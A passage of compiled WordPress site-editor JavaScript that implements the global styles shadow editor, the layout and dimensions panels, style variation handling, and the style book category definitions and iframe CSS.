children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(shadows_edit_panel_Menu, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(shadows_edit_panel_Menu.TriggerButton, {
render: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
size: "small",
icon: more_vertical,
label: (0,external_wp_i18n_namespaceObject.__)('Menu')
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(shadows_edit_panel_Menu.Popover, {
children: (category === 'custom' ? customShadowMenuItems : presetShadowMenuItems).map(item => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(shadows_edit_panel_Menu.Item, {
onClick: () => onMenuClick(item.action),
disabled: item.action === 'reset' && selectedShadow.shadow === baseSelectedShadow.shadow,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(shadows_edit_panel_Menu.ItemLabel, {
children: item.label
})
}, item.action))
})]
})
})
})]
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
className: "edit-site-global-styles-screen",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ShadowsPreview, {
shadow: selectedShadow.shadow
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ShadowEditor, {
shadow: selectedShadow.shadow,
onChange: onShadowChange
})]
}), isConfirmDialogVisible && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalConfirmDialog, {
isOpen: true,
onConfirm: () => {
handleShadowDelete();
setIsConfirmDialogVisible(false);
},
onCancel: () => {
setIsConfirmDialogVisible(false);
},
confirmButtonText: (0,external_wp_i18n_namespaceObject.__)('Delete'),
size: "medium",
children: (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: Name of the shadow preset. */
(0,external_wp_i18n_namespaceObject.__)('Are you sure you want to delete "%s" shadow preset?'), selectedShadow.name)
}), isRenameModalVisible && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Modal, {
title: (0,external_wp_i18n_namespaceObject.__)('Rename'),
onRequestClose: () => setIsRenameModalVisible(false),
size: "small",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("form", {
onSubmit: event => {
event.preventDefault();
handleShadowRename(shadowName);
setIsRenameModalVisible(false);
},
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalInputControl, {
__next40pxDefaultSize: true,
autoComplete: "off",
label: (0,external_wp_i18n_namespaceObject.__)('Name'),
placeholder: (0,external_wp_i18n_namespaceObject.__)('Shadow name'),
value: shadowName,
onChange: value => setShadowName(value)
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
marginBottom: 6
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Flex, {
className: "block-editor-shadow-edit-modal__actions",
justify: "flex-end",
expanded: false,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
__next40pxDefaultSize: true,
variant: "tertiary",
onClick: () => setIsRenameModalVisible(false),
children: (0,external_wp_i18n_namespaceObject.__)('Cancel')
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
__next40pxDefaultSize: true,
variant: "primary",
type: "submit",
children: (0,external_wp_i18n_namespaceObject.__)('Save')
})
})]
})]
})
})]
});
}
function ShadowsPreview({
shadow
}) {
const shadowStyle = {
boxShadow: shadow
};
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
marginBottom: 4,
marginTop: -2,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHStack, {
align: "center",
justify: "center",
className: "edit-site-global-styles__shadow-preview-panel",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "edit-site-global-styles__shadow-preview-block",
style: shadowStyle
})
})
});
}
function ShadowEditor({
shadow,
onChange
}) {
const addShadowButtonRef = (0,external_wp_element_namespaceObject.useRef)();
const shadowParts = (0,external_wp_element_namespaceObject.useMemo)(() => getShadowParts(shadow), [shadow]);
const onChangeShadowPart = (index, part) => {
const newShadowParts = [...shadowParts];
newShadowParts[index] = part;
onChange(newShadowParts.join(', '));
};
const onAddShadowPart = () => {
onChange([...shadowParts, defaultShadow].join(', '));
};
const onRemoveShadowPart = index => {
onChange(shadowParts.filter((p, i) => i !== index).join(', '));
addShadowButtonRef.current.focus();
};
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, {
spacing: 2,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
justify: "space-between",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Flex, {
align: "center",
className: "edit-site-global-styles__shadows-panel__title",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(subtitle, {
level: 3,
children: (0,external_wp_i18n_namespaceObject.__)('Shadows')
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
className: "edit-site-global-styles__shadows-panel__options-container",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
size: "small",
icon: library_plus,
label: (0,external_wp_i18n_namespaceObject.__)('Add shadow'),
onClick: () => {
onAddShadowPart();
},
ref: addShadowButtonRef
})
})]
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItemGroup, {
isBordered: true,
isSeparated: true,
children: shadowParts.map((part, index) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(shadows_edit_panel_ShadowItem, {
shadow: part,
onChange: value => onChangeShadowPart(index, value),
canRemove: shadowParts.length > 1,
onRemove: () => onRemoveShadowPart(index)
}, index))
})]
});
}
function shadows_edit_panel_ShadowItem({
shadow,
onChange,
canRemove,
onRemove
}) {
const popoverProps = {
placement: 'left-start',
offset: 36,
shift: true
};
const shadowObj = (0,external_wp_element_namespaceObject.useMemo)(() => shadowStringToObject(shadow), [shadow]);
const onShadowChange = newShadow => {
onChange(shadowObjectToString(newShadow));
};
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Dropdown, {
popoverProps: popoverProps,
className: "edit-site-global-styles__shadow-editor__dropdown",
renderToggle: ({
onToggle,
isOpen
}) => {
const toggleProps = {
onClick: onToggle,
className: dist_clsx('edit-site-global-styles__shadow-editor__dropdown-toggle', {
'is-open': isOpen
}),
'aria-expanded': isOpen
};
const removeButtonProps = {
onClick: () => {
if (isOpen) {
onToggle();
}
onRemove();
},
className: dist_clsx('edit-site-global-styles__shadow-editor__remove-button', {
'is-open': isOpen
}),
label: (0,external_wp_i18n_namespaceObject.__)('Remove shadow')
};
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
__next40pxDefaultSize: true,
icon: library_shadow,
...toggleProps,
children: shadowObj.inset ? (0,external_wp_i18n_namespaceObject.__)('Inner shadow') : (0,external_wp_i18n_namespaceObject.__)('Drop shadow')
}), canRemove && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
size: "small",
icon: library_reset,
...removeButtonProps
})]
});
},
renderContent: () => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalDropdownContentWrapper, {
paddingSize: "medium",
className: "edit-site-global-styles__shadow-editor__dropdown-content",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ShadowPopover, {
shadowObj: shadowObj,
onChange: onShadowChange
})
})
});
}
function ShadowPopover({
shadowObj,
onChange
}) {
const __experimentalIsRenderedInSidebar = true;
const enableAlpha = true;
const onShadowChange = (key, value) => {
const newShadow = {
...shadowObj,
[key]: value
};
onChange(newShadow);
};
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
spacing: 4,
className: "edit-site-global-styles__shadow-editor-panel",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ColorPalette, {
clearable: false,
enableAlpha: enableAlpha,
__experimentalIsRenderedInSidebar: __experimentalIsRenderedInSidebar,
value: shadowObj.color,
onChange: value => onShadowChange('color', value)
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalToggleGroupControl, {
__nextHasNoMarginBottom: true,
value: shadowObj.inset ? 'inset' : 'outset',
isBlock: true,
onChange: value => onShadowChange('inset', value === 'inset'),
hideLabelFromVision: true,
__next40pxDefaultSize: true,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalToggleGroupControlOption, {
value: "outset",
label: (0,external_wp_i18n_namespaceObject.__)('Outset')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalToggleGroupControlOption, {
value: "inset",
label: (0,external_wp_i18n_namespaceObject.__)('Inset')
})]
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalGrid, {
columns: 2,
gap: 4,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ShadowInputControl, {
label: (0,external_wp_i18n_namespaceObject.__)('X Position'),
value: shadowObj.x,
onChange: value => onShadowChange('x', value)
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ShadowInputControl, {
label: (0,external_wp_i18n_namespaceObject.__)('Y Position'),
value: shadowObj.y,
onChange: value => onShadowChange('y', value)
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ShadowInputControl, {
label: (0,external_wp_i18n_namespaceObject.__)('Blur'),
value: shadowObj.blur,
onChange: value => onShadowChange('blur', value)
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ShadowInputControl, {
label: (0,external_wp_i18n_namespaceObject.__)('Spread'),
value: shadowObj.spread,
onChange: value => onShadowChange('spread', value)
})]
})]
});
}
function ShadowInputControl({
label,
value,
onChange
}) {
const onValueChange = next => {
const isNumeric = next !== undefined && !isNaN(parseFloat(next));
const nextValue = isNumeric ? next : '0px';
onChange(nextValue);
};
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalUnitControl, {
label: label,
__next40pxDefaultSize: true,
value: value,
onChange: onValueChange
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/screen-shadows.js
/**
* Internal dependencies
*/
function ScreenShadows() {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ShadowsPanel, {});
}
function ScreenShadowsEdit() {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ShadowsEditPanel, {});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/dimensions-panel.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useGlobalStyle: dimensions_panel_useGlobalStyle,
useGlobalSetting: dimensions_panel_useGlobalSetting,
useSettingsForBlockElement: dimensions_panel_useSettingsForBlockElement,
DimensionsPanel: dimensions_panel_StylesDimensionsPanel
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
const DEFAULT_CONTROLS = {
contentSize: true,
wideSize: true,
padding: true,
margin: true,
blockGap: true,
minHeight: true,
childLayout: false
};
function DimensionsPanel() {
const [style] = dimensions_panel_useGlobalStyle('', undefined, 'user', {
shouldDecodeEncode: false
});
const [inheritedStyle, setStyle] = dimensions_panel_useGlobalStyle('', undefined, 'all', {
shouldDecodeEncode: false
});
const [userSettings] = dimensions_panel_useGlobalSetting('', undefined, 'user');
const [rawSettings, setSettings] = dimensions_panel_useGlobalSetting('');
const settings = dimensions_panel_useSettingsForBlockElement(rawSettings);
// These intermediary objects are needed because the "layout" property is stored
// in settings rather than styles.
const inheritedStyleWithLayout = (0,external_wp_element_namespaceObject.useMemo)(() => {
return {
...inheritedStyle,
layout: settings.layout
};
}, [inheritedStyle, settings.layout]);
const styleWithLayout = (0,external_wp_element_namespaceObject.useMemo)(() => {
return {
...style,
layout: userSettings.layout
};
}, [style, userSettings.layout]);
const onChange = newStyle => {
const updatedStyle = {
...newStyle
};
delete updatedStyle.layout;
setStyle(updatedStyle);
if (newStyle.layout !== userSettings.layout) {
const updatedSettings = {
...userSettings,
layout: newStyle.layout
};
// Ensure any changes to layout definitions are not persisted.
if (updatedSettings.layout?.definitions) {
delete updatedSettings.layout.definitions;
}
setSettings(updatedSettings);
}
};
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(dimensions_panel_StylesDimensionsPanel, {
inheritedValue: inheritedStyleWithLayout,
value: styleWithLayout,
onChange: onChange,
settings: settings,
includeLayoutControls: true,
defaultControls: DEFAULT_CONTROLS
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/screen-layout.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useHasDimensionsPanel: screen_layout_useHasDimensionsPanel,
useGlobalSetting: screen_layout_useGlobalSetting,
useSettingsForBlockElement: screen_layout_useSettingsForBlockElement
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function ScreenLayout() {
const [rawSettings] = screen_layout_useGlobalSetting('');
const settings = screen_layout_useSettingsForBlockElement(rawSettings);
const hasDimensionsPanel = screen_layout_useHasDimensionsPanel(settings);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(header, {
title: (0,external_wp_i18n_namespaceObject.__)('Layout')
}), hasDimensionsPanel && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DimensionsPanel, {})]
});
}
/* harmony default export */ const screen_layout = (ScreenLayout);
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/style-variations-container.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
GlobalStylesContext: style_variations_container_GlobalStylesContext
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function StyleVariationsContainer({
gap = 2
}) {
const {
user
} = (0,external_wp_element_namespaceObject.useContext)(style_variations_container_GlobalStylesContext);
const userStyles = user?.styles;
const variations = (0,external_wp_data_namespaceObject.useSelect)(select => {
return select(external_wp_coreData_namespaceObject.store).__experimentalGetCurrentThemeGlobalStylesVariations();
}, []);
// Filter out variations that are color or typography variations.
const fullStyleVariations = variations?.filter(variation => {
return !isVariationWithProperties(variation, ['color']) && !isVariationWithProperties(variation, ['typography', 'spacing']);
});
const themeVariations = (0,external_wp_element_namespaceObject.useMemo)(() => {
const withEmptyVariation = [{
title: (0,external_wp_i18n_namespaceObject.__)('Default'),
settings: {},
styles: {}
}, ...(fullStyleVariations !== null && fullStyleVariations !== void 0 ? fullStyleVariations : [])];
return [...withEmptyVariation.map(variation => {
var _variation$settings;
const blockStyles = {
...variation?.styles?.blocks
} || {};
// We need to copy any user custom CSS to the variation to prevent it being lost
// when switching variations.
if (userStyles?.blocks) {
Object.keys(userStyles.blocks).forEach(blockName => {
// First get any block specific custom CSS from the current user styles and merge with any custom CSS for
// that block in the variation.
if (userStyles.blocks[blockName].css) {
const variationBlockStyles = blockStyles[blockName] || {};
const customCSS = {
css: `${blockStyles[blockName]?.css || ''} ${userStyles.blocks[blockName].css.trim() || ''}`
};
blockStyles[blockName] = {
...variationBlockStyles,
...customCSS
};
}
});
}
// Now merge any global custom CSS from current user styles with global custom CSS in the variation.
const css = userStyles?.css || variation.styles?.css ? {
css: `${variation.styles?.css || ''} ${userStyles?.css || ''}`
} : {};
const blocks = Object.keys(blockStyles).length > 0 ? {
blocks: blockStyles
} : {};
const styles = {
...variation.styles,
...css,
...blocks
};
return {
...variation,
settings: (_variation$settings = variation.settings) !== null && _variation$settings !== void 0 ? _variation$settings : {},
styles
};
})];
}, [fullStyleVariations, userStyles?.blocks, userStyles?.css]);
if (!fullStyleVariations || fullStyleVariations?.length < 1) {
return null;
}
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalGrid, {
columns: 2,
className: "edit-site-global-styles-style-variations-container",
gap: gap,
children: themeVariations.map((variation, index) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Variation, {
variation: variation,
children: isFocused => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(preview_styles, {
label: variation?.title,
withHoverView: true,
isFocused: isFocused,
variation: variation
})
}, index))
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-global-styles/content.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
function SidebarNavigationScreenGlobalStylesContent() {
const gap = 3;
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
spacing: 10,
className: "edit-site-global-styles-variation-container",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(StyleVariationsContainer, {
gap: gap
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ColorVariations, {
title: (0,external_wp_i18n_namespaceObject.__)('Palettes'),
gap: gap
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(TypographyVariations, {
title: (0,external_wp_i18n_namespaceObject.__)('Typography'),
gap: gap
})]
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/screen-style-variations.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useZoomOut
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function ScreenStyleVariations() {
// Style Variations should only be previewed in with
// - a "zoomed out" editor (but not when in preview mode)
// - "Desktop" device preview
const isPreviewMode = (0,external_wp_data_namespaceObject.useSelect)(select => {
return select(external_wp_blockEditor_namespaceObject.store).getSettings().isPreviewMode;
}, []);
const {
setDeviceType
} = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_editor_namespaceObject.store);
useZoomOut(!isPreviewMode);
(0,external_wp_element_namespaceObject.useEffect)(() => {
setDeviceType('desktop');
}, [setDeviceType]);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(header, {
title: (0,external_wp_i18n_namespaceObject.__)('Browse styles'),
description: (0,external_wp_i18n_namespaceObject.__)('Choose a variation to change the look of the site.')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Card, {
size: "small",
isBorderless: true,
className: "edit-site-global-styles-screen-style-variations",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.CardBody, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenGlobalStylesContent, {})
})
})]
});
}
/* harmony default export */ const screen_style_variations = (ScreenStyleVariations);
;// external ["wp","mediaUtils"]
const external_wp_mediaUtils_namespaceObject = window["wp"]["mediaUtils"];
;// ./node_modules/@wordpress/edit-site/build-module/components/style-book/constants.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const STYLE_BOOK_COLOR_GROUPS = [{
slug: 'theme-colors',
title: (0,external_wp_i18n_namespaceObject.__)('Theme Colors'),
origin: 'theme',
type: 'colors'
}, {
slug: 'theme-gradients',
title: (0,external_wp_i18n_namespaceObject.__)('Theme Gradients'),
origin: 'theme',
type: 'gradients'
}, {
slug: 'custom-colors',
title: (0,external_wp_i18n_namespaceObject.__)('Custom Colors'),
origin: 'custom',
type: 'colors'
}, {
slug: 'custom-gradients',
title: (0,external_wp_i18n_namespaceObject.__)('Custom Gradients'),
origin: 'custom',
// User.
type: 'gradients'
}, {
slug: 'duotones',
title: (0,external_wp_i18n_namespaceObject.__)('Duotones'),
origin: 'theme',
type: 'duotones'
}, {
slug: 'default-colors',
title: (0,external_wp_i18n_namespaceObject.__)('Default Colors'),
origin: 'default',
type: 'colors'
}, {
slug: 'default-gradients',
title: (0,external_wp_i18n_namespaceObject.__)('Default Gradients'),
origin: 'default',
type: 'gradients'
}];
const STYLE_BOOK_THEME_SUBCATEGORIES = [{
slug: 'site-identity',
title: (0,external_wp_i18n_namespaceObject.__)('Site Identity'),
blocks: ['core/site-logo', 'core/site-title', 'core/site-tagline']
}, {
slug: 'design',
title: (0,external_wp_i18n_namespaceObject.__)('Design'),
blocks: ['core/navigation', 'core/avatar', 'core/post-time-to-read'],
exclude: ['core/home-link', 'core/navigation-link']
}, {
slug: 'posts',
title: (0,external_wp_i18n_namespaceObject.__)('Posts'),
blocks: ['core/post-title', 'core/post-excerpt', 'core/post-author', 'core/post-author-name', 'core/post-author-biography', 'core/post-date', 'core/post-terms', 'core/term-description', 'core/query-title', 'core/query-no-results', 'core/query-pagination', 'core/query-numbers']
}, {
slug: 'comments',
title: (0,external_wp_i18n_namespaceObject.__)('Comments'),
blocks: ['core/comments-title', 'core/comments-pagination', 'core/comments-pagination-numbers', 'core/comments', 'core/comments-author-name', 'core/comment-content', 'core/comment-date', 'core/comment-edit-link', 'core/comment-reply-link', 'core/comment-template', 'core/post-comments-count', 'core/post-comments-link']
}];
const STYLE_BOOK_CATEGORIES = [{
slug: 'overview',
title: (0,external_wp_i18n_namespaceObject.__)('Overview'),
blocks: []
}, {
slug: 'text',
title: (0,external_wp_i18n_namespaceObject.__)('Text'),
blocks: ['core/post-content', 'core/home-link', 'core/navigation-link']
}, {
slug: 'colors',
title: (0,external_wp_i18n_namespaceObject.__)('Colors'),
blocks: []
}, {
slug: 'theme',
title: (0,external_wp_i18n_namespaceObject.__)('Theme'),
subcategories: STYLE_BOOK_THEME_SUBCATEGORIES
}, {
slug: 'media',
title: (0,external_wp_i18n_namespaceObject.__)('Media'),
blocks: ['core/post-featured-image']
}, {
slug: 'widgets',
title: (0,external_wp_i18n_namespaceObject.__)('Widgets'),
blocks: []
}, {
slug: 'embed',
title: (0,external_wp_i18n_namespaceObject.__)('Embeds'),
include: []
}];
// Style book preview subcategories for all blocks section.
const STYLE_BOOK_ALL_BLOCKS_SUBCATEGORIES = [...STYLE_BOOK_THEME_SUBCATEGORIES, {
slug: 'media',
title: (0,external_wp_i18n_namespaceObject.__)('Media'),
blocks: ['core/post-featured-image']
}, {
slug: 'widgets',
title: (0,external_wp_i18n_namespaceObject.__)('Widgets'),
blocks: []
}, {
slug: 'embed',
title: (0,external_wp_i18n_namespaceObject.__)('Embeds'),
include: []
}];
// Style book preview categories are organized slightly differently to the editor ones.
const STYLE_BOOK_PREVIEW_CATEGORIES = [{
slug: 'overview',
title: (0,external_wp_i18n_namespaceObject.__)('Overview'),
blocks: []
}, {
slug: 'text',
title: (0,external_wp_i18n_namespaceObject.__)('Text'),
blocks: ['core/post-content', 'core/home-link', 'core/navigation-link']
}, {
slug: 'colors',
title: (0,external_wp_i18n_namespaceObject.__)('Colors'),
blocks: []
}, {
slug: 'blocks',
title: (0,external_wp_i18n_namespaceObject.__)('All Blocks'),
blocks: [],
subcategories: STYLE_BOOK_ALL_BLOCKS_SUBCATEGORIES
}];
// Forming a "block formatting context" to prevent margin collapsing.
// @see https://developer.mozilla.org/en-US/docs/Web/Guide/CSS/Block_formatting_context
const ROOT_CONTAINER = `
.is-root-container {
display: flow-root;
}
`;
// The content area of the Style Book is rendered within an iframe so that global styles
// are applied to elements within the entire content area. To support elements that are
// not part of the block previews, such as headings and layout for the block previews,
// additional CSS rules need to be passed into the iframe. These are hard-coded below.
// Note that button styles are unset, and then focus rules from the `Button` component are
// applied to the `button` element, targeted via `.edit-site-style-book__example`.
// This is to ensure that browser default styles for buttons are not applied to the previews.
const STYLE_BOOK_IFRAME_STYLES = `
body {
position: relative;
padding: 32px !important;
}
${ROOT_CONTAINER}
.edit-site-style-book__examples {
max-width: 1200px;
margin: 0 auto;
}
.edit-site-style-book__example {
max-width: 900px;
border-radius: 2px;
cursor: pointer;
display: flex;
flex-direction: column;
gap: 40px;
padding: 16px;
width: 100%;
box-sizing: border-box;
scroll-margin-top: 32px;
scroll-margin-bottom: 32px;
margin: 0 auto 40px auto;
}
.edit-site-style-book__example.is-selected {
box-shadow: 0 0 0 1px var(--wp-components-color-accent, var(--wp-admin-theme-color, #007cba));
}
.edit-site-style-book__example.is-disabled-example {
pointer-events: none;
}
.edit-site-style-book__example:focus:not(:disabled) {
box-shadow: 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #007cba));
outline: 3px solid transparent;
}
.edit-site-style-book__duotone-example > div:first-child {
display: flex;
aspect-ratio: 16 / 9;
grid-row: span 1;
grid-column: span 2;
}
.edit-site-style-book__duotone-example img {
width: 100%;
height: 100%;
object-fit: cover;
}
.edit-site-style-book__duotone-example > div:not(:first-child) {
height: 20px;
border: 1px solid color-mix( in srgb, currentColor 10%, transparent );
}
.edit-site-style-book__color-example {
border: 1px solid color-mix( in srgb, currentColor 10%, transparent );
}
.edit-site-style-book__subcategory-title,
.edit-site-style-book__example-title {
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
font-size: 13px;
font-weight: normal;
line-height: normal;
margin: 0;
text-align: left;
padding-top: 8px;
border-top: 1px solid color-mix( in srgb, currentColor 10%, transparent );
color: color-mix( in srgb, currentColor 60%, transparent );
}
.edit-site-style-book__subcategory-title {
font-size: 16px;
margin-bottom: 40px;
padding-bottom: 8px;
}
.edit-site-style-book__example-preview {
width: 100%;
}
.edit-site-style-book__example-preview .block-editor-block-list__insertion-point,
.edit-site-style-book__example-preview .block-list-appender {
display: none;
}
:where(.is-root-container > .wp-block:first-child) {
margin-top: 0;
}
:where(.is-root-container > .wp-block:last-child) {
margin-bottom: 0;
}
`;
;// ./node_modules/@wordpress/edit-site/build-module/components/style-book/categories.js
/**
* WordPress dependencies
*/
// @wordpress/blocks imports are not typed.
// @ts-expect-error
/**
* Internal dependencies
*/
/**
* Returns category examples for a given category definition and list of examples.
* @param {StyleBookCategory} categoryDefinition The category definition.
* @param {BlockExample[]} examples An array of block examples.
* @return {CategoryExamples|undefined} An object containing the category examples.
*/
function getExamplesByCategory(categoryDefinition, examples) {
var _categoryDefinition$s;
if (!categoryDefinition?.slug || !examples?.length) {
return;
}
const categories = (_categoryDefinition$s = categoryDefinition?.subcategories) !== null && _categoryDefinition$s !== void 0 ? _categoryDefinition$s : [];
if (categories.length) {
return categories.reduce((acc, subcategoryDefinition) => {
const subcategoryExamples = getExamplesByCategory(subcategoryDefinition, examples);
if (subcategoryExamples) {
if (!acc.subcategories) {
acc.subcategories = [];
}
acc.subcategories = [...acc.subcategories, subcategoryExamples];
}
return acc;
}, {
title: categoryDefinition.title,
slug: categoryDefinition.slug
});
}
const blocksToInclude = categoryDefinition?.blocks || [];
const blocksToExclude = categoryDefinition?.exclude || [];
const categoryExamples = examples.filter(example => {
return !blocksToExclude.includes(example.name) && (example.category === categoryDefinition.slug || blocksToInclude.includes(example.name));
});
if (!categoryExamples.length) {
return;
}
return {
title: categoryDefinition.title,
slug: categoryDefinition.slug,
examples: categoryExamples
};
}
/**
* Returns category examples for a given category definition and list of examples.
*
* @return {StyleBookCategory[]} An array of top-level category definitions.
*/
function getTopLevelStyleBookCategories() {
const reservedCategories = [...STYLE_BOOK_THEME_SUBCATEGORIES, ...STYLE_BOOK_CATEGORIES].map(({
slug
}) => slug);
const extraCategories = (0,external_wp_blocks_namespaceObject.getCategories)();
const extraCategoriesFiltered = extraCategories.filter(({
slug
}) => !reservedCategories.includes(slug));
return [...STYLE_BOOK_CATEGORIES, ...extraCategoriesFiltered];
}
;// ./node_modules/@wordpress/edit-site/build-module/components/style-book/color-examples.js
/**
* External dependencies
*/
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const ColorExamples = ({
colors,
type,
templateColumns = '1fr 1fr',
itemHeight = '52px'
}) => {
if (!colors) {
return null;
}
